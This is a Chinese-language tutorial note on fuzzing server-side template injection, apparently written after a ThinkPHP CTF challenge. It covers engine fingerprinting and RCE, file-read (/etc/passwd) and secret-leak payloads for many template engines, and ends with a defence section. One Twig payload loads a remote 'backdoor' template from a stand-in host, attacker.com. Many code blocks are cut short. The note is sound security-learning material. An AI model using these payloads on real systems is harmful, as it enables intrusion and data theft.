SSTI的全面fuzz
SSTI Fuzz完全测试指南
本笔记详细介绍如何全面测试 SSTI 漏洞,包括各种模板引擎的识别方法、测试 Payload 和利用技巧。
目录
一、为什么 49 没有反应?
1.1 问题解答
你输入 {{7*7}} 没有反应,是因为:
不同的模板引擎使用不同的语法!
| 模板引擎 | 语言 | 语法风格 | 示例 |
|---|---|---|---|
| Jinja2 | Python | {{ }} |
{{7*7}} |
| Twig | PHP | {{ }} |
{{7*7}} |
| Smarty | PHP | { } |
{$smarty.version} |
| ThinkPHP | PHP | { } |
{$_SERVER.SERVER_SOFTWARE} |
| Blade | PHP | {{ }} / {!! !!} |
{{7*7}} |
| FreeMarker | Java | ${ } |
${7*7} |
| Velocity | Java | $ / # |
$class.inspect() |
| Mako | Python | ${ } / <% %> |
${7*7} |
| ERB | Ruby | <%= %> |
<%= 7*7 %> |
1.2 ThinkPHP 为什么不认 49?
ThinkPHP 使用的是 ThinkTemplate 模板引擎(类似 Smarty),它的语法是:
1 | {$变量} → 输出变量 |
而 {{7*7}} 是 Jinja2/Twig 的语法,ThinkPHP 根本不认识这个语法,所以:
- 不会报错(因为它不是 ThinkPHP 的模板标签)
- 不会执行(因为它不会被解析)
- 原样输出或被忽略
1.3 教训
永远不要只用一种 Payload 测试 SSTI!
不同框架、不同模板引擎的语法完全不同,必须根据目标环境选择正确的测试 Payload。
二、SSTI 基础概念
2.1 什么是 SSTI?
SSTI (Server-Side Template Injection) 是一种注入漏洞,发生在:
- Web 应用使用模板引擎动态生成页面
- 用户输入被不安全地嵌入到模板中
- 攻击者可以注入模板语法,让服务器执行任意代码
2.2 漏洞成因
安全的模板使用:
1 | # Python Flask + Jinja2 |
不安全的模板使用(存在 SSTI):
1 | # 用户输入直接拼接到模板中 |
2.3 SSTI 的危害
| 危害等级 | 描述 | 示例 |
|---|---|---|
| 信息泄露 | 读取服务器配置、环境变量 | {{config}} |
| 任意文件读取 | 读取服务器上的任意文件 | {{''.__class__.__mro__[2].__subclasses__()...}} |
| 远程代码执行 (RCE) | 在服务器上执行任意命令 | {{system('id')}} |
| 服务器接管 | 完全控制服务器 | 反弹 Shell |
三、模板引擎识别方法
3.1 识别流程图
1 | ┌─────────────────┐ |
3.2 快速识别表
第一步:尝试基础数学运算
| 测试 Payload | 预期输出 | 可能的模板引擎 |
|---|---|---|
${7*7} |
49 |
FreeMarker, Mako, Thymeleaf, Pebble |
{{7*7}} |
49 |
Jinja2, Twig, Blade, Nunjucks, Django |
#{7*7} |
49 |
Thymeleaf, FreeMarker |
<%= 7*7 %> |
49 |
ERB (Ruby), EJS (Node.js) |
${{7*7}} |
49 |
Pebble |
{7*7} |
49 |
Smarty (部分版本) |
第二步:尝试特定引擎的特征 Payload
| 测试 Payload | 预期输出 | 确认的模板引擎 |
|---|---|---|
{{config}} |
配置对象 | Jinja2 (Flask) |
{{settings}} |
设置对象 | Django |
{$smarty.version} |
版本号 | Smarty |
{$_SERVER.SERVER_SOFTWARE} |
服务器信息 | ThinkPHP, Smarty |
${T(java.lang.Runtime)} |
类信息 | Spring (SpEL) |
#set($x=7*7)$x |
49 |
Velocity |
3.3 通过错误信息识别
有时候,故意输入错误的模板语法可以触发错误信息,从而识别模板引擎:
| 测试 Payload | 可能的错误信息 | 模板引擎 |
|---|---|---|
{{` | `unexpected end of template` | Jinja2 |
| `{{}} |
Empty expression |
Twig |
{$} |
Syntax error in template |
Smarty |
${ |
Unclosed expression |
FreeMarker |
<%= |
SyntaxError |
ERB |
3.4 通过响应头/框架识别
在测试 SSTI 之前,先收集信息:
| 信息来源 | 如何获取 | 可能的线索 |
|---|---|---|
| HTTP 响应头 | X-Powered-By, Server |
PHP, Python, Java 等 |
| Cookie 名称 | PHPSESSID, JSESSIONID |
PHP, Java |
| URL 结构 | .php, .jsp, .py |
后端语言 |
| 错误页面 | 触发 404/500 错误 | 框架名称、版本 |
| 默认页面 | 访问根目录 | 框架特征 |
常见框架与模板引擎对应关系:
| 框架 | 语言 | 默认模板引擎 |
|---|---|---|
| Flask | Python | Jinja2 |
| Django | Python | Django Templates |
| Laravel | PHP | Blade |
| Symfony | PHP | Twig |
| ThinkPHP | PHP | ThinkTemplate (类 Smarty) |
| Spring | Java | Thymeleaf, FreeMarker |
| Express | Node.js | EJS, Pug, Handlebars |
| Rails | Ruby | ERB |
四、各模板引擎详细测试 Payload
4.1 Python - Jinja2 (Flask)
识别 Payload:
1 | {{7*7}} → 49 |
信息泄露:
1 | {{config.SECRET_KEY}} → Flask 密钥 |
RCE Payload:
1 | # 方法1:通过 __subclasses__ 找到可利用的类 |
绕过过滤:
1 | # 绕过 . 过滤 |
4.2 Python - Django Templates
识别 Payload:
1 | {{settings}} → 设置对象 |
注意: Django 模板引擎相对安全,默认不允许执行任意 Python 代码。但仍可能泄露敏感信息。
信息泄露:
1 | {{settings.DATABASES}} → 数据库配置 |
4.3 Python - Mako
识别 Payload:
1 | ${7*7} → 49 |
RCE Payload:
1 | <% |
4.4 Python - Tornado
识别 Payload:
1 | {{7*7}} → 49 |
RCE Payload:
1 | {% import os %}{{os.popen('id').read()}} |
4.5 PHP - Twig
识别 Payload:
1 | {{7*7}} → 49 |
信息泄露:
1 | {{app.request.server.all|join(',')}} → 服务器变量 |
RCE Payload (Twig < 1.20):
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
RCE Payload (Twig 1.x):
1 | {{_self.env.setCache("ftp://attacker.com/")}}{{_self.env.loadTemplate("backdoor")}} |
RCE Payload (Twig 2.x/3.x):
1 | {{['id']|filter('system')}} |
4.6 PHP - Smarty
识别 Payload:
1 | {$smarty.version} → Smarty 版本 |
信息泄露:
1 | {$smarty.server.SERVER_SOFTWARE} → 服务器软件 |
RCE Payload (Smarty < 3.1.42):
1 | {system('id')} |
RCE Payload (使用 {if}):
1 | {if system('id')}{/if} |
RCE Payload (使用标签):
1 | {php}system('id');{/php} # 需要开启 php 标签 |
4.7 PHP - ThinkPHP (ThinkTemplate)
这就是本次 CTF 题目使用的模板引擎!
识别 Payload:
1 | {$_SERVER.SERVER_SOFTWARE} → 服务器软件 (Apache/2.4.65) |
变量输出语法:
1 | {$name} → 输出变量 |
修饰符语法(关键特性):
1 | {$var|函数名} → 对变量应用函数 |
文件读取 Payload:
1 | {$_GET.f|@file|@implode}&f=/etc/passwd |
RCE Payload:
1 | # 方法1:使用 {:} 直接调用函数(如果没被过滤) |
4.8 PHP - Blade (Laravel)
识别 Payload:
1 | {{7*7}} → 49 |
信息泄露:
1 | {{config('app.key')}} → 应用密钥 |
RCE Payload:
1 | @php system('id'); @endphp |
4.9 Java - FreeMarker
识别 Payload:
1 | ${7*7} → 49 |
RCE Payload:
1 | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
4.10 Java - Velocity
识别 Payload:
1 | #set($x=7*7)$x → 49 |
RCE Payload:
1 | #set($rt=$class.inspect("java.lang.Runtime").type.getRuntime()) |
4.11 Java - Thymeleaf
识别 Payload:
1 | ${7*7} → 49 |
RCE Payload:
1 | ${T(java.lang.Runtime).getRuntime().exec('id')} |
4.12 Java - Spring (SpEL)
识别 Payload:
1 | ${7*7} → 49 |
RCE Payload:
1 | ${T(java.lang.Runtime).getRuntime().exec('id')} |
4.13 Ruby - ERB
识别 Payload:
1 | <%= 7*7 %> → 49 |
RCE Payload:
1 | <%= system('id') %> |
4.14 Node.js - EJS
识别 Payload:
1 | <%= 7*7 %> → 49 |
RCE Payload:
1 | <%= process.mainModule.require('child_process').execSync('id').toString() %> |
4.15 Node.js - Pug (Jade)
识别 Payload:
1 | #{7*7} → 49 |
RCE Payload:
1 | #{process.mainModule.require('child_process').execSync('id')} |
4.16 Node.js - Handlebars
识别 Payload:
1 | {{#with "s" as |string|}} |
RCE Payload (需要特定条件):
1 | {{#with "s" as |string|}} |
4.17 Go - html/template
Go 的 html/template 相对安全,但仍可能存在信息泄露:
识别 Payload:
1 | {{.}} → 当前对象 |
五、SSTI 测试流程图
5.1 完整测试流程
1 | ┌─────────────────────────────────────────────────────────────────────────────┐ |
5.2 模板引擎识别决策树
1 | 输入测试 |
六、通用 SSTI 测试清单
6.1 必测 Payload 清单
第一轮:基础检测(所有语言通用)
1 | # 数学运算类 |
第二轮:语言特定检测
1 | # Python (Jinja2/Django/Mako) |
6.2 完整测试 Payload 列表
为了确保不遗漏任何模板引擎,建议按以下顺序测试:
1 | # ==================== 第一阶段:快速检测 ==================== |
6.3 测试注意事项
- URL 编码:特殊字符需要 URL 编码
{→%7B}→%7D#→%23$→%24
- 观察响应:
- 返回计算结果 → 存在 SSTI
- 返回原样 → 该语法不被识别
- 返回错误 → 可能存在 SSTI,语法有误
- 返回空白 → 可能被过滤或执行失败
- 多参数测试:
- 不仅测试明显的输入点
- 测试所有 GET/POST 参数
- 测试 Cookie、Header
- 测试 JSON 字段
- 编码绕过:
- 如果某些字符被过滤,尝试编码绕过
- URL 编码、Unicode 编码、HTML 实体编码
七、实战案例分析
7.1 案例:RenderMe (ThinkPHP 8)
这就是我们刚刚做的 CTF 题目,完美展示了为什么 {{7*7}} 没有反应。
题目环境:
- 框架:ThinkPHP 8
- 模板引擎:ThinkTemplate
- 入口:
/?name=CTFer
测试过程:
1 | 测试 1: {{7*7}} |
为什么 49 失败?
ThinkPHP 的模板语法是 {$var} 而不是 {{var}}:
{{7*7}}不是有效的 ThinkPHP 模板标签- ThinkPHP 不会解析它,直接原样输出
- 必须使用
{$...}语法才能触发模板解析
正确的测试 Payload:
1 | {$_SERVER.SERVER_SOFTWARE} → 服务器信息 |
7.2 案例:Flask SSTI
题目环境:
- 框架:Flask
- 模板引擎:Jinja2
- 入口:
/?name=test
测试过程:
1 | 测试 1: {{7*7}} |
RCE Payload:
1 | {{config.__class__.__init__.__globals__['os'].popen('id').read()}} |
7.3 案例:Twig SSTI
题目环境:
- 框架:Symfony
- 模板引擎:Twig
- 入口:
/?name=test
测试过程:
1 | 测试 1: {{7*7}} |
RCE Payload (Twig 2.x/3.x):
1 | {{['id']|filter('system')}} |
7.4 案例:FreeMarker SSTI
题目环境:
- 框架:Spring Boot
- 模板引擎:FreeMarker
- 入口:
/?name=test
测试过程:
1 | 测试 1: ${7*7} |
RCE Payload:
1 | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
八、自动化测试脚本
8.1 Python 自动化测试脚本
1 | #!/usr/bin/env python3 |
8.2 使用方法
1 | # 基本用法 |
8.3 Burp Suite 测试方法
如果你使用 Burp Suite,可以使用以下方法:
方法 1:Intruder 批量测试
- 捕获请求,发送到 Intruder
- 标记参数位置:
/?name=§test§ - 加载 Payload 列表(见下方)
- 开始攻击,观察响应长度变化
Payload 列表 (保存为 ssti_payloads.txt):
1 | ${7*7} |
方法 2:使用 Tplmap 工具
1 | # 安装 |
九、防御与修复
9.1 漏洞成因总结
SSTI 漏洞的根本原因是:用户输入被直接拼接到模板字符串中
1 | # 危险代码示例 |
9.2 修复方法
方法 1:使用模板变量(推荐)
1 | # Python Flask - 正确做法 |
方法 2:输入验证和过滤
1 | # 白名单验证 |
方法 3:使用沙箱环境
1 | # Jinja2 沙箱 |
方法 4:禁用危险功能
1 | // Smarty - 禁用 PHP 标签 |
9.3 安全编码建议
- 永远不要将用户输入直接拼接到模板中
- 使用模板引擎提供的变量传递机制
- 对用户输入进行严格的白名单验证
- 使用沙箱环境限制模板功能
- 定期更新模板引擎版本
- 进行安全代码审计
十、速查表
10.1 模板引擎语法速查
| 引擎 | 变量输出 | 表达式 | 注释 | 条件 |
|---|---|---|---|---|
| Jinja2 | {{var}} |
{{7*7}} |
`` | {% if %} |
| Twig | {{var}} |
{{7*7}} |
`` | {% if %} |
| Smarty | {$var} |
{$var|func} |
{* *} |
{if} |
| ThinkPHP | {$var} |
{$var|func} |
{/* */} |
{if} |
| FreeMarker | ${var} |
${7*7} |
<#-- --> |
<#if> |
| Velocity | $var |
#set($x=7*7) |
## |
#if |
| ERB | <%= var %> |
<%= 7*7 %> |
<%# %> |
<% if %> |
| EJS | <%= var %> |
<%= 7*7 %> |
<%# %> |
<% if %> |
| Blade | {{var}} |
{{7*7}} |
{{-- --}} |
@if |
10.2 RCE Payload 速查
| 引擎 | RCE Payload |
|---|---|
| Jinja2 | {{config.__class__.__init__.__globals__['os'].popen('id').read()}} |
| Twig | {{['id']\|filter('system')}} |
| Smarty | {if system('id')}{/if} |
| ThinkPHP | {$_GET.func|array_map=$_GET.cmd|implode}&func=passthru&cmd[]=id |
| FreeMarker | ${"freemarker.template.utility.Execute"?new()("id")} |
| Velocity | #set($rt=$class.inspect("java.lang.Runtime").type.getRuntime())$rt.exec("id") |
| ERB | <%= system('id') %> |
| EJS | <%= process.mainModule.require('child_process').execSync('id') %> |
10.3 文件读取 Payload 速查
| 引擎 | 文件读取 Payload |
|---|---|
| Jinja2 | {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} |
| Twig | {{'/etc/passwd'\|file_excerpt(1,-1)}} |
| ThinkPHP | {$_GET.f|@file|@implode}&f=/etc/passwd |
| FreeMarker | ${.data_model.class.protectionDomain.codeSource.location} |
| ERB | <%= File.read('/etc/passwd') %> |
十一、总结
11.1 为什么你的 49 没有反应?
- ThinkPHP 使用的是
{$var}语法,不是{{var}} - 不同模板引擎有完全不同的语法
- 必须根据目标环境选择正确的测试 Payload
11.2 如何全面测试 SSTI?
- 先收集信息:识别后端语言和框架
- 多种语法测试:不要只用一种 Payload
- 观察响应:计算结果、错误信息、原样输出
- 确认引擎:使用特定引擎的 Payload 确认
- 尝试利用:信息泄露 → 文件读取 → RCE
11.3 记住这个测试顺序
1 | ${7*7} → {{7*7}} → {$var} → #{7*7} → <%= 7*7 %> |
参考资料
- PortSwigger - Server-Side Template Injection
- HackTricks - SSTI
- PayloadsAllTheThings - SSTI
- Tplmap - SSTI 自动化工具
- ThinkPHP 官方文档 - 模板引擎
笔记作者:Fan
最后更新:2025-12-21
声明:本文章仅提供于网安交流学习,请勿用于非法途径,读者的一切行为与作者无关
